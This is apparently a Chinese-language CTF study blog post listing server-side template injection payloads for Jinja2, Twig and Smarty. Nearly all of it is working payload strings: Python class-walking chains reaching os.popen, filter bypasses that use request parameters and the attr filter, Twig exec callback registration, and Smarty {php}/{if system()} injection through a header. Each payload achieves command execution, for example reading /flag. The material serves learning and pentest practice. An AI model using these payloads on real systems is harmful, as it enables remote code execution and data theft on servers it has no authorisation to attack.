SSTI模板注入


使用的框架不同,模板引擎的解析符号也不同。

image-20241123100138998

image-20250402204813726

#一、python的SSTI攻击过程(Jinja2)

?name={{''.__class__.__base__.__subclasses__()}}  # 查看所有可用类
从上面的可用类中找到os的索引下标,比如是132
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__}}  # 查看os的所有可用方法,看是否有popen
{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__.popen('cat /flag').read()}} # 利用popen方法进行命令执行,并通过read()方法使执行结果回显到页面上


# 一个payload例子
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('cat mNo4pQ9rS1T').read())}}

##其他引用

config:{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
url_for:
    {{url_for.__globals__}}  # 查看所有可用类(可用于过滤小括号的情况下)
    {{url_for.__globals__['current_app'].config}}
    {{url_for.__globals__.os.popen('cat /flag').read()}}   # 过滤 中括号[] 可绕过
get_flashed_messages:
	{{get_flashed_messages.__globals__}}
    {{get_flashed_messages.__globals__['current_app'].config}}
lipsum:{{lipsum.__globals__['os'].popen('cat /flag').read()}}
get_flashed_messages:{{get_flashed_messages.__globals__['os'].popen('cat /flag').read()}}

##若过滤的单引号,则利用传参的方式赋值:

request.args.x—-> 通过x传参来赋值(参数逃逸)

{{[].__class__.__base__.__subclasses__()}}  #列表的方式
从上面的可用类中找到os的索引下标,比如是132
{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}} # 查看os的所有可用方法,看是否有popen

{{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.x](request.args.y).read()}}&x=popen&y=cat /flag
request.args.x   get传参
request.values.x   所有参数
request.cookies    cookie参数
request.headers.x    请求头参数
request.form.x      post传参

过滤下划线绕过

{{(lipsum|attr(request.values.a)).os.popen(request.values.b).read()}}&a=__globals__&b=cat /flag

二、PHP攻击过程(Twig)

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}//查看id
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}//查看flag

嵌入php脚本display_weather.php

{php}
	include("/path/to/display_weather.php");
{/php}

全部的PHP条件表达式和函数都可在{if}中使用

X-Forwarded-For: {if phpinfo()}{/if}
			    {if system('ls')}{/if}

文章作者: 0x00dream
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 0x00dream !
  目录